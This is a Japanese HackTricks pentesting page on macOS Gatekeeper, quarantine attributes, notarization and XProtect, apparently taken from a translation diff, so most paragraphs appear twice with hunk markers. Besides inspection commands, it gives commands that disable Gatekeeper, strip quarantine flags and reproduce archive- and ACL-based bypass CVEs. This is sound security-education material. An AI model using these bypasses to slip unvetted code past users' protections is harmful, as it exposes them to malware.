* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングトリックを共有するために** [**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください**
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Gatekeeper
**Gatekeeper**は、Macオペレーティングシステム向けに開発されたセキュリティ機能で、ユーザーがシステム上で**信頼されたソフトウェアのみを実行**することを保証するために設計されています。ユーザーがApp Store以外のソースから(アプリ、プラグイン、またはインストーラーパッケージなど)ダウンロードして開こうとするソフトウェアを**検証**すること機能します。
**Gatekeeper**は、Macオペレーティングシステム向けに開発されたセキュリティ機能で、ユーザーがシステム上で**信頼されたソフトウェアのみを実行**することを確認するために設計されています。ユーザーがApp Store以外のソースからダウンロードして開こうとするソフトウェアを**検証**することによって機能します。
Gatekeeperの主要なメカニズムは、その**検証**プロセスにあります。ダウンロードしたソフトウェアが**認識された開発者によって署名されているかどうか**をチェックし、ソフトウェアの信頼性を確認します。さらに、Appleによって**ノータライズされているかどうか**を確認し、既知の悪意のあるコンテンツが含まれていないこと、およびノータライズ後に改ざんされていないことを確認します。
Gatekeeperの主要なメカニズムは、その**検証**プロセスにあります。ダウンロードしたソフトウェアが**認識された開発者によって署名されているかどうか**をチェックし、ソフトウェアの信頼性を確認します。さらに、Appleによって**ノータライズ**されているかどうかを確認し、既知の悪意のあるコンテンツが含まれていないこと、およびノータライズ後に改ざんされていないことを確認します。
さらに、Gatekeeperは、ユーザーがダウンロードしたソフトウェアの初回の開きを承認するよう**ユーザーに促す**ことで、ユーザーの誤って害のある実行可能コードを実行するのを防ぐのに役立ちます。
さらに、Gatekeeperは、ユーザーが初めてダウンロードしたソフトウェアの開きを承認するよう**ユーザーに促す**ことで、ユーザーの誤って害のある実行可能コードを実行するのを防ぐのに役立ちます。
### アプリケーション署名
@ -31,17 +30,17 @@ Gatekeeperの主要なメカニズムは、その**検証**プロセスにあり
動作方法は次のとおりです:
1. **アプリケーションの署名:** 開発者がアプリケーションを配布する準備が整ったとき、**開発者はプライベートキーを使用してアプリケーションに署名**します。このプライベートキーは、Appleが開発者がApple Developer Programに登録するときに発行する**証明書**と関連付けられています。署名プロセスには、アプリのすべての部分の暗号ハッシュを作成し、このハッシュを開発者のプライベートキーで暗号化することが含まれます。
1. **アプリケーションの署名:** 開発者がアプリケーションを配布する準備が整ったとき、**開発者はプライベートキーを使用してアプリケーションに署名**します。このプライベートキーは、AppleがApple Developer Programに登録したときに開発者に発行する**証明書**と関連付けられています。署名プロセスには、アプリのすべての部分の暗号ハッシュを作成し、このハッシュを開発者のプライベートキーで暗号化することが含まれます。
2. **アプリケーションの配布:** 署名されたアプリケーションは、開発者の証明書とともにユーザーに配布されます。この証明書には、対応する公開キーが含まれています。
3. **アプリケーションの検証:** ユーザーがアプリケーションをダウンロードして実行しようとすると、Macオペレーティングシステムは、開発者の証明書から公開キーを使用してハッシュを復号化します。その後、アプリケーションの現在の状態に基づいてハッシュを再計算し、これを復号化されたハッシュと比較します。一致する場合、それは開発者が署名したときから**アプリケーションが変更されていない**ことを意味し、システムはアプリケーションの実行を許可します。
3. **アプリケーションの検証:** ユーザーがアプリケーションをダウンロードして実行しようとすると、Macオペレーティングシステムは、開発者の証明書から公開キーを使用してハッシュを復号化します。その後、アプリケーションの現在の状態に基づいてハッシュを再計算し、これを復号化されたハッシュと比較します。一致する場合、それは開発者が署名した後に**アプリケーションが変更されていない**ことを意味し、システムはアプリケーションの実行を許可します。
アプリケーション署名は、AppleのGatekeeperテクロジーの重要な部分です。ユーザーがインターネットから**ダウンロードしたアプリケーションを開こうとする**、Gatekeeperはアプリケーションの署名を検証します。Appleが既知の開発者に発行した証明書で署名されており、コードが改ざんされていない場合、Gatekeeperはアプリケーションの実行を許可します。そうでない場合、アプリケーションをブロックしてユーザーに警告します。
アプリケーション署名は、AppleのGatekeeperテクロジーの重要な部分です。ユーザーがインターネットからダウンロードしたアプリケーションを**開こうとする**、Gatekeeperはアプリケーションの署名を検証します。Appleが既知の開発者に発行した証明書で署名されており、コードが改ざんされていない場合、Gatekeeperはアプリケーションの実行を許可します。それ以外の場合、アプリケーションをブロックしてユーザーに警告します。
macOS Catalinaからは、**GatekeeperはアプリケーションがAppleによってータライズされているかどうかも確認**し、追加のセキュリティレイヤーを追加します。ータライズプロセスは、アプリケーションを既知のセキュリティ問題や悪意のあるコードに対してチェックし、これらのチェックに合格した場合、AppleはGatekeeperが検証できるアプリケーションにチケットを追加します。
#### 署名の確認
いくつかの**マルウェアサンプル**をチェックするときは、常にバイナリの**署名を確認**する必要があります。署名した**開発者**がすでに**マルウェア**と**関連付けられている**可能性があるためです。
いくつかの**マルウェアサンプル**をチェックする際は、バイナリの**署名を常に確認**する必要があります。署名した**開発者**がすでに**マルウェア**と**関連付けられている**可能性があるためです。
```bash
# Get signer
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"
@ -60,11 +59,11 @@ codesign -s <cert-name-keychain> toolsdemo
```
### Notarization
Appleのータリゼーションプロセスは、ユーザーを潜在的に有害なソフトウェアから保護する追加の保護機能として機能します。これには、開発者が自分のアプリケーションをAppleのータリサービスに提出するとが含まれます。このサービスはApp Reviewとは異なることに注意してください。このサービスは、提出されたソフトウェアを悪意のあるコンテンツやコード署名に関する潜在的な問題を検査する自動システムです。
Appleのータリゼーションプロセスは、ユーザーを潜在的に有害なソフトウェアから保護する追加のセキュリティ対策として機能します。これには、開発者が自分のアプリケーションをAppleのータリサービスに提出するという手順が含まれます。このサービスはApp Reviewとは異なることに注意する必要があります。このサービスは、提出されたソフトウェアを悪意のあるコンテンツやコードサイニングに関する潜在的な問題を検査する自動システムです。
ソフトウェアがこの検査をパスし、懸念事項がない場合、ータリサービスはータリゼーションチケットを生成します。その後、開発者はこのチケットを自分のソフトウェアに添付する必要があります。このプロセスは「ステープリング」として知られています。さらに、ータリゼーションチケットはオンラインでも公開され、GatekeeperAppleのセキュリティテクロジーがアクセスできます。
ソフトウェアがこの検査をパスし、懸念事項がない場合、ータリサービスはータリゼーションチケットを生成します。その後、開発者はこのチケットを自分のソフトウェアに添付する必要があります。このプロセスは「ステープリング」として知られています。さらに、ータリゼーションチケットはオンラインでも公開され、GatekeeperAppleのセキュリティテクロジーがアクセスできるようになります。
ユーザーがソフトウェアを初めてインストールまたは実行する際、実行可能ファイルにステープリングされたノータリゼーションチケットまたはオンラインで見つかったータリゼーションチケットの存在により、GatekeeperにそのソフトウェアがAppleによってータリゼーションされたことが通知されます。その結果、Gatekeeperは初回起動ダイアログに記述的なメッセージを表示し、Appleによる悪意のあるコンテンツのチェックを受けたことを示します。このプロセスにより、ユーザーは自分のシステムにインストールまたは実行するソフトウェアのセキュリティに対する信頼を高めることができます。
ユーザーがソフトウェアを初めてインストールまたは実行する際、実行可能ファイルにステープリングされているかオンラインで見つかるかにかかわらず、ータリゼーションチケットの存在により、GatekeeperにそのソフトウェアがAppleによってータリゼーションされたことが通知されます。その結果、Gatekeeperは初回起動ダイアログに記述的なメッセージを表示し、Appleによる悪意のあるコンテンツのチェックを受けたことを示します。このプロセスにより、ユーザーは自分のシステムにインストールまたは実行するソフトウェアのセキュリティに対する信頼を高めることができます。
### Enumerating GateKeeper
@ -79,11 +78,11 @@ spctl --status
GateKeeperの署名チェックは、**Quarantine属性を持つファイル**にのみ実行されることに注意してください。
{% endhint %}
GateKeeperは、**設定と署名**に基づいてバイナリが実行可能かどうかをチェックします:
GateKeeperは、**設定と署名**に従ってバイナリが実行可能かどうかをチェックします:
<figure><img src="../../../.gitbook/assets/image (1147).png" alt=""><figcaption></figcaption></figure>
この構成を保持するデータベースは**`/var/db/SystemPolicy`**にあります。これをルートとして次のコマンドで確認できます:
この構成を保持するデータベースは**`/var/db/SystemPolicy`**にあります。これをルートとして次のコマンドで確認できます:
```bash
# Open database
sqlite3 /var/db/SystemPolicy
@ -97,10 +96,10 @@ anchor apple generic and certificate leaf[field.1.2.840.113635.100.6.1.9] exists
anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] exists and (certificate leaf[field.1.2.840.113635.100.6.1.14] or certificate leaf[field.1.2.840.113635.100.6.1.13]) and notarized|1|0|Notarized Developer ID
[...]
```
注意してください、最初のルールは "**App Store**" で終わり、2番目のルールは "**Developer ID**" で終わり、前の画像では**App Storeおよび識別された開発者からのアプリの実行が有効**になっていました。\
その設定をApp Storeに変更すると、"**Notarized Developer ID**" ルールが消えます。
注意してください、最初のルールは "**App Store**" で終わり、2番目のルールは "**Developer ID**" で終わり、前の画像では **App Store および識別された開発者からのアプリの実行が有効になっていました**。\
その設定を App Store に変更すると、"**Notarized Developer ID**" ルールが消えます。
**GKE** タイプのルールも何千もあります。
**GKE タイプ** のルールも何千もあります。
```bash
SELECT requirement,allow,disabled,label from authority where label = 'GKE' limit 5;
cdhash H"b40281d347dc574ae0850682f0fd1173aa2d0a39"|1|0|GKE
@ -109,13 +108,13 @@ cdhash H"4317047eefac8125ce4d44cab0eb7b1dff29d19a"|1|0|GKE
cdhash H"0a71962e7a32f0c2b41ddb1fb8403f3420e1d861"|1|0|GKE
cdhash H"8d0d90ff23c3071211646c4c9c607cdb601cb18f"|1|0|GKE
```
これらは、**`/var/db/SystemPolicyConfiguration/gke.bundle/Contents/Resources/gke.auth`、`/var/db/gke.bundle/Contents/Resources/gk.db`**、および**`/var/db/gkopaque.bundle/Contents/Resources/gkopaque.db`**から来るハッシュです。
これらは、**`/var/db/SystemPolicyConfiguration/gke.bundle/Contents/Resources/gke.auth`、`/var/db/gke.bundle/Contents/Resources/gk.db`**、および**`/var/db/gkopaque.bundle/Contents/Resources/gkopaque.db`**から取得されたハッシュです。
または、前述の情報をリストすることもできます:
```bash
sudo spctl --list
```
オプション**`--master-disable`**と**`--global-disable`**は、**`spctl`**のこれらの署名チェックを完全に**無効**にします。
オプション**`--master-disable`**と**`--global-disable`**は、**`spctl`**の署名チェックを完全に**無効**にします。
```bash
# Disable GateKeeper
spctl --global-disable
@ -129,7 +128,7 @@ spctl --master-enable
<figure><img src="../../../.gitbook/assets/image (1148).png" alt=""><figcaption></figcaption></figure>
GateKeeperによってアプリが許可されるかどうかを**チェックする**ことが可能です。
GateKeeper によってアプリが許可されるかどうかを**チェックする**ことが可能です。
```bash
spctl --assess -v /Applications/App.app
```
@ -150,14 +149,14 @@ spctl --assess -v /Applications/App.app
```
### ファイルの隔離
特定のmacOSアプリケーションWebブラウザやメールクライアントなどが、アプリケーションやファイルを**ダウンロード**する際に、一般的に「**隔離フラグ**」として知られる拡張ファイル属性をダウンロードされたファイルに**添付**します。この属性は、ファイルを(インターネットなどの)信頼されていないソースから来たものとして**マークし**、潜在的なリスクを持つ可能性があることを示すセキュリティ対策として機能します。ただし、一部のアプリケーションはこの属性を添付しないこともあります。たとえば、一般的なBitTorrentクライアントソフトウェアは通常、このプロセスをバイパスします。
特定のmacOSアプリケーションWebブラウザやメールクライアントなどは、アプリケーションやファイルを**ダウンロード**する際に、**拡張ファイル属性**である一般的には"**隔離フラグ**"として知られるものをダウンロードされたファイルに**添付**します。この属性は、ファイルを信頼できないソース(インターネット)から取得したものとしてマークし、潜在的なリスクを伴う可能性があることを示すセキュリティ対策として機能します。ただし、すべてのアプリケーションがこの属性を添付するわけではなく、たとえば一般的なBitTorrentクライアントソフトウェアは通常、このプロセスをバイパスします。
**隔離フラグが存在する場合、ユーザーがファイルを実行しようとすると、macOSのGatekeeperセキュリティ機能が作動します**。
隔離フラグが存在しない場合一部のBitTorrentクライアントを介してダウンロードされたファイルなど、Gatekeeperの**チェックが実行されない**可能性があります。したがって、ユーザーは安全でないまたは不明なソースからダウンロードしたファイルを開く際には注意を払う必要があります。
**隔離フラグが存在しない場合**一部のBitTorrentクライアントを介してダウンロードされたファイルなど、Gatekeeperの**チェックが実行されない**可能性があります。したがって、ユーザーは安全でないまたは不明なソースからダウンロードしたファイルを開く際には注意を払う必要があります。
{% hint style="info" %}
**コード署名の妥当性**をチェックすることは、コードとそのバンドルされたリソースの暗号ハッシュを生成するなど、**リソースを多く消費する**プロセスです。さらに、証明書の有効性をチェックするには、発行後に取り消されていないかどうかをAppleのサーバーに**オンラインで確認**する必要があります。これらの理由から、アプリが起動するたびに完全なコード署名と公証チェックを実行するのは**実用的ではありません**
**コード署名の妥当性**をチェックすることは、コードとそのバンドルされたリソースの暗号ハッシュを生成するなど、**リソースを多く消費する**プロセスです。さらに、証明書の有効性をチェックするには、発行後に取り消されていないかをAppleのサーバーに**オンラインで確認**する必要があります。これらの理由から、完全なコード署名とノータリゼーションのチェックは、**アプリが起動するたびに実行するのは非現実的**です
したがって、これらのチェックは**隔離属性を持つアプリを実行するときにのみ実行**されます。
{% endhint %}
@ -165,10 +164,10 @@ spctl --assess -v /Applications/App.app
{% hint style="warning" %}
この属性は、ファイルを作成/ダウンロードするアプリケーションによって**設定する必要があります**。
ただし、サンドボックス化されたファイルは、作成されるすべてのファイルにこの属性が設定されます。サンドボックス化されていないアプリは自分で設定するか、**Info.plist**で[**LSFileQuarantineEnabled**](https://developer.apple.com/documentation/bundleresources/information\_property\_list/lsfilequarantineenabled?language=objc)キーを指定することで、システムに`com.apple.quarantine`拡張属性を設定させることができます。
ただし、サンドボックス化されたファイルは、作成されるすべてのファイルにこの属性が設定されます。サンドボックス化されていないアプリは自分で設定するか、または**Info.plist**で[**LSFileQuarantineEnabled**](https://developer.apple.com/documentation/bundleresources/information\_property\_list/lsfilequarantineenabled?language=objc)キーを指定することで、システムが作成されたファイルに`com.apple.quarantine`拡張属性を設定するようにできます。
{% endhint %}
その状態を**確認して有効化/無効化**root権限が必要することが可能です。
状態を**確認**し、有効化/無効化を行うことが可能です(ルート権限が必要です):
```bash
spctl --status
assessments enabled
@ -177,13 +176,13 @@ spctl --enable
spctl --disable
#You can also allow nee identifies to execute code using the binary "spctl"
```
次のコマンドを使用して、ファイルに拡張属性があるかどうかを確認できます:
あなたは次の方法でも、ファイルが拡張属性を持っているかどうかを見つけることができます:
```bash
xattr file.png
com.apple.macl
com.apple.quarantine
```
**拡張属性**の**値**をチェックし、quarantine属性を書き込んだアプリを特定します
次のようにして、**拡張** **属性**の**値**をチェックし、quarantine属性を書き込んだアプリを特定します
```bash
xattr -l portada.png
com.apple.macl:
@ -199,11 +198,11 @@ com.apple.quarantine: 00C1;607842eb;Brave;F643CD5F-6071-46AB-83AB-390BA944DEC5
# Brave -- App
# F643CD5F-6071-46AB-83AB-390BA944DEC5 -- UID assigned to the file downloaded
```
実際には、プロセスは作成するファイルにクォータンティンフラグを設定できます作成したファイルにUSER\_APPROVEDフラグを適用しようとしましたが、適用されませんでした
実際にプロセスは「作成するファイルに検疫フラグを設定できる可能性があります」作成したファイルにUSER\_APPROVEDフラグを適用しようとしましたが、適用されませんでした:
<details>
<summary>ソースコード クォータンティンフラグの適用</summary>
<summary>ソースコード 検疫フラグの適用</summary>
```c
#include <stdio.h>
#include <stdlib.h>
@ -271,7 +270,7 @@ xattr -d com.apple.quarantine portada.png
#You can also remove this attribute from every file with
find . -iname '*' -print0 | xargs -0 xattr -d com.apple.quarantine
```
そして、次のコマンドを使用して、すべての隔離されたファイルを検索します:
そして、次のコマンドで隔離されたすべてのファイルを検索します:
{% code overflow="wrap" %}
```bash
@ -279,19 +278,19 @@ find / -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf $9; pri
```
{% endcode %}
**Quarantine情報**は、LaunchServicesによって管理される中央データベースに保存されています。**`~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`**。
**Quarantine情報**は、LaunchServicesによって管理される中央データベースに保存されます。**`~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`**。
#### **Quarantine.kext**
カーネル拡張機能は、システムの**カーネルキャッシュ**を介してのみ利用可能です。ただし、**https://developer.apple.com/** から**Kernel Debug Kit**をダウンロードすることで、拡張機能のシンボル化バージョンを入手できます。
このカーネル拡張機能は、システムの**カーネルキャッシュ**を介してのみ利用可能です。ただし、**https://developer.apple.com/** から**Kernel Debug Kit**をダウンロードすることで、この拡張機能のシンボル化バージョンを入手できます。
### XProtect
XProtectはmacOSに組み込まれた**対マルウェア**機能です。XProtectは、**アプリケーションが初めて起動されるか変更される際に、既知のマルウェアや安全でないファイルタイプのデータベース**と照合します。Safari、Mail、Messagesなどの特定のアプリを介してファイルをダウンロードすると、XProtectが自動的にファイルをスキャンします。データベース内の既知のマルウェアと一致する場合、XProtectはファイルの実行を**防止**し、脅威を警告します。
XProtectはmacOSに組み込まれた**対マルウェア**機能です。XProtectは、**アプリケーションが初めて起動されるか変更される際に、既知のマルウェアや安全でないファイルタイプのデータベース**と照合します。Safari、Mail、Messagesなどの特定のアプリを介してファイルをダウンロードすると、XProtectが自動的にファイルをスキャンします。データベース内の既知のマルウェアに一致する場合、XProtectはファイルの実行を**防止**し、脅威を通知します。
XProtectデータベースはAppleによって**定期的に更新**され、これらの更新は自動的にMacにダウンロードされてインストールされます。これにより、XProtectが常に最新の既知の脅威に対応していることが保証されます。
XProtectデータベースはAppleによって**定期的に更新**され、これらの更新は自動的にMacにダウンロードおよびインストールされます。これにより、XProtectが常に最新の既知の脅威と同期されることが保証されます。
ただし、**XProtectは完全なアンチウイルスソリューションではない**ことに注意する価値があります。特定の既知の脅威のリストのみをチェックし、ほとんどのアンチウイルスソフトウェアのようにアクセス時スキャンを実行しません。
ただし、**XProtectは完全なアンチウイルスソリューションではない**ことに注意する価値があります。XProtectは特定の既知の脅威のリストのみをチェックし、ほとんどのアンチウイルスソフトウェアのようにアクセス時スキャンを実行しません。
最新のXProtect更新に関する情報を取得するには、次のコマンドを実行します
@ -301,10 +300,10 @@ system_profiler SPInstallHistoryDataType 2>/dev/null | grep -A 4 "XProtectPlistC
```
{% endcode %}
XProtectは、SIP保護された場所にあり、**/Library/Apple/System/Library/CoreServices/XProtect.bundle**にあり、バンドル内にはXProtectが使用する情報が含まれています
XProtectは、**/Library/Apple/System/Library/CoreServices/XProtect.bundle**にあるSIP保護された場所にあり、バンドル内にはXProtectが使用する情報が含まれています
- **`XProtect.bundle/Contents/Resources/LegacyEntitlementAllowlist.plist`**これらのcdhashを持つコードがレガシー権限を使用できるようにします。
- **`XProtect.bundle/Contents/Resources/XProtect.meta.plist`**BundleIDとTeamIDを介してロード禁止されているプラグインと拡張機能のリスト、または最小バージョンを示すリスト
- **`XProtect.bundle/Contents/Resources/XProtect.meta.plist`**BundleIDとTeamIDを介してロード禁止されているプラグインと拡張機能のリスト、または最小バージョンを示す。
- **`XProtect.bundle/Contents/Resources/XProtect.yara`**マルウェアを検出するためのYaraルール。
- **`XProtect.bundle/Contents/Resources/gk.db`**ブロックされたアプリケーションとTeamIDのハッシュを持つSQLite3データベース。
@ -316,9 +315,9 @@ XProtectに関連するもう1つのAppが**`/Library/Apple/System/Library/CoreS
Gatekeeperは、アプリケーションを実行するたびに実行されるわけではないことに注意してください。実行されたアプリケーションがGatekeeperによってすでに検証されている場合、_**AppleMobileFileIntegrity**_AMFIは実行時に**実行可能コードの署名を検証**します。
{% endhint %}
したがって、以前はアプリケーションを実行してGatekeeperでキャッシュすることが可能で、その後Electron asarやNIBファイルなどのアプリケーションの実行ファイル以外のファイルを**変更**し、他に保護がない場合、アプリケーションは**悪意のある**追加を含めて**実行**されていました。
したがって、以前はアプリケーションを実行してGatekeeperでキャッシュすることが可能で、その後アプリケーションの実行ファイル以外Electron asarやNIBファイルなどを**変更**し、他に保護がない場合、アプリケーションは**悪意のある**追加を含めて**実行**されていました。
しかし、現在はmacOSがアプリケーションバンドル内のファイルを**変更できないように防止**しています。そのため、[Dirty NIB](../macos-proces-abuse/macos-dirty-nib.md)攻撃を試みると、Gatekeeperでキャッシュするためにアプリケーションを実行した後、バンドルを変更できなくなるため、悪用することができなくなりました。例えば、Contentsディレクトリの名前をExploitで示されているようにNotConに変更し、その後アプリのメインバイナリを実行してGatekeeperでキャッシュしようとすると、エラーが発生して実行されません。
しかし、現在はmacOSがアプリケーションバンドル内のファイルを**変更できないように防止**しています。したがって、[Dirty NIB](../macos-proces-abuse/macos-dirty-nib.md)攻撃を試みると、Gatekeeperでキャッシュするためにアプリケーションを実行した後、バンドルを変更できなくなるため、それを悪用することはもはや不可能であることがわかります。例えば、Contentsディレクトリの名前をExploitで示されているようにNotConに変更し、その後アプリケーションのメインバイナリを実行してGatekeeperでキャッシュしようとすると、エラーが発生して実行されません。
## Gatekeeperのバイパス
@ -326,13 +325,13 @@ Gatekeeperをバイパスする方法ユーザーに何かをダウンロー
### [CVE-2021-1810](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810)
**Archive Utility**を使用している場合、**886文字を超えるパス**を持つファイルにはcom.apple.quarantine拡張属性が付与されません。この状況により、これらのファイルが**Gatekeeperの**セキュリティチェックを**回避**することが誤って可能になります。
**Archive Utility**を使用してファイルを解凍すると、**886文字を超えるパス**を持つファイルにはcom.apple.quarantine拡張属性が付与されません。この状況により、これらのファイルがGatekeeperのセキュリティチェックを**回避**することが誤って許可されます。
詳細については、[**元のレポート**](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810)を参照してください。
### [CVE-2021-30990](https://ronmasas.com/posts/bypass-macos-gatekeeper)
**Automator**で作成されたアプリケーションでは、実行に必要な情報が`application.app/Contents/document.wflow`にあり、実行可能ファイルにはありません。実行可能ファイルは、**Automator Application Stub**と呼ばれる一般的なAutomatorバイナリです。
**Automator**で作成されたアプリケーションでは、実行に必要な情報が`application.app/Contents/document.wflow`に含まれており、実行可能ファイルには含まれていません。実行可能ファイルは、**Automator Application Stub**と呼ばれる汎用のAutomatorバイナリです。
したがって、`application.app/Contents/MacOS/Automator\ Application\ Stub`を別のシステム内のAutomator Application Stubにシンボリックリンクさせることで、`document.wflow`スクリプト内の内容を実行し、実際の実行可能ファイルにはquarantine xattrがないため、Gatekeeperをトリガーせずに実行できます。
@ -342,23 +341,23 @@ Gatekeeperをバイパスする方法ユーザーに何かをダウンロー
### [CVE-2022-22616](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/)
このバイパスでは、zipファイルが`application.app`ではなく`application.app/Contents`から圧縮を開始するように作成されました。したがって、**quarantine属性**が`application.app/Contents`の**すべてのファイルに**適用されましたが、**`application.app`には**適用されなかったため、Gatekeeperは`application.app`がトリガーされたときに**quarantine属性がなかった**ため、バイパスされました。
このバイパスでは、zipファイルが`application.app`ではなく`application.app/Contents`から圧縮を開始するように作成されました。したがって、**quarantine属性**が`application.app/Contents`のすべての**ファイルに適用**されましたが、Gatekeeperがチェックしていた`application.app`には適用されず、`application.app`がトリガーされたときに**quarantine属性がなかった**ため、Gatekeeperがバイパスされました。
```bash
zip -r test.app/Contents test.zip
```
[**元のレポート**](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/)を確認して、詳細情報をご覧ください。
チェックして、詳細情報は[**元のレポート**](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/)を参照してください。
### [CVE-2022-32910](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-32910)
コンポーネントが異なる場合でも、この脆弱性の悪用は前と非常に似ています。この場合、**`application.app/Contents`** からApple Archiveを生成し、**Archive Utility** によって展開される際に **`application.app` には隔離属性が付与されない**ようにします。
コンポーネントが異なる場合でも、この脆弱性の悪用は前のものと非常に似ています。この場合、**`application.app/Contents`** からApple Archiveを生成し、**Archive Utility** によって展開される際に **`application.app` が隔離属性を取得しない**ようにします。
```bash
aa archive -d test.app/Contents -o test.app.aar
```
チェックして、より詳細情報を[**元のレポート**](https://www.jamf.com/blog/jamf-threat-labs-macos-archive-utility-vulnerability/)で確認してください。
チェックして、詳細情報を[**元のレポート**](https://www.jamf.com/blog/jamf-threat-labs-macos-archive-utility-vulnerability/)をご覧ください。
### [CVE-2022-42821](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/)
ACL **`writeextattr`**を使用して、誰もファイル内の属性を書き込めないようにすることができます:
ACL **`writeextattr`** は、ファイル内の属性の書き込みを誰もが防ぐために使用できます。
```bash
touch /tmp/no-attr
chmod +a "everyone deny writeextattr" /tmp/no-attr
@ -367,7 +366,7 @@ xattr: [Errno 13] Permission denied: '/tmp/no-attr'
```
さらに、**AppleDouble**ファイル形式は、そのACEを含むファイルをコピーします。
[**ソースコード**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html)では、xattr内に格納されたACLテキスト表現が**`com.apple.acl.text`**と呼ばれるxattrに設定されることがわかります。したがって、ACLを含むzipファイルにアプリケーションを圧縮し、他のxattrの書き込みを防ぐACLを設定した場合... クアランティンxattrはアプリケーションに設定されませんでした:
[**ソースコード**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html)では、**`com.apple.acl.text`**というxattr内に格納されたACLテキスト表現が、展開されたファイルのACLとして設定されることがわかります。したがって、ACLを使用して他のxattrの書き込みを防止するzipファイルにアプリケーションを圧縮した場合... クアランティンxattrはアプリケーションに設定されませんでした:
```bash
chmod +a "everyone deny write,writeattr,writeextattr" /tmp/test
ditto -c -k test test.zip
@ -376,7 +375,7 @@ python3 -m http.server
```
{% endcode %}
詳細については、[**元のレポート**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/)をチェックしてください。
詳細については、[**元のレポート**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/)をご確認ください。
AppleArchivesを使用してもこの脆弱性を悪用することができる可能性があります。
```bash
@ -387,11 +386,11 @@ aa archive -d app -o test.aar
```
### [CVE-2023-27943](https://blog.f-secure.com/discovery-of-gatekeeper-bypass-cve-2023-27943/)
**Google Chromeは、macOSの内部問題のためにダウンロードされたファイルにquarantine属性を設定していないことが発見されました。**
**Google Chromeは、macOSの内部問題のためにダウンロードされたファイルに隔離属性を設定していないことが発見されました。**
### [CVE-2023-27951](https://redcanary.com/blog/gatekeeper-bypass-vulnerabilities/)
AppleDoubleファイル形式は、ファイルの属性を`._`で始まる別のファイルに保存し、これによりmacOSマシン間でファイル属性をコピーするのに役立ちます。しかし、AppleDoubleファイルを展開した後、`._`で始まるファイルにquarantine属性が設定されていないことがわかりました。
AppleDoubleファイル形式は、ファイルの属性を`._`で始まる別のファイルに保存し、これによりmacOSマシン間でファイル属性をコピーするのに役立ちます。しかし、AppleDoubleファイルを展開した後、`._`で始まるファイルには**隔離属性が設定されていない**ことがわかりました。
```bash
mkdir test
echo a > test/a
@ -403,7 +402,8 @@ aa archive -d test/ -o test.aar
```
{% endcode %}
クォリンティン属性が設定されていないファイルを作成できるようになると、**Gatekeeperをバイパスすることが可能**でした。トリックは、AppleDouble名前規則を使用して`._`で始める)、クォリンティン属性のない**非表示ファイルへのシンボリックリンクとして**見えるファイルを作成し、**DMGファイルを実行**すると、Gatekeeperを**バイパス**できます。
Gatekeeperをバイパスすることが可能でした。AppleDouble名前規則を使用して`._`で始める、quarantine属性が設定されていない**隠しファイル**を作成し、この隠しファイルへの**シンボリックリンクとして見えるファイル**を作成するトリックで、quarantine属性が設定されていないファイルを作成することができました。\
**dmgファイルが実行されると**、quarantine属性がないため、Gatekeeperを**バイパス**します。
```bash
# Create an app bundle with the backdoor an call it app.app
@ -421,4 +421,8 @@ aa archive -d s/ -o app.aar
```
### Quarantine xattrの防止
".app"バンドル内でquarantine xattrが追加されていない場合、それを実行しても**Gatekeeperはトリガーされません**。
".app"バンドルにQuarantine xattrが追加されていない場合、それを実行しても**Gatekeeperはトリガーされません**。
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}

View file

@ -4,35 +4,38 @@
HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい場合** は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見する
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) をフォローする
* **ハッキングテクニックを共有するためにPRを提出して** [**HackTricks**](https://github.com/carlospolop/hacktricks) および [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリに
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを発見する
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する。
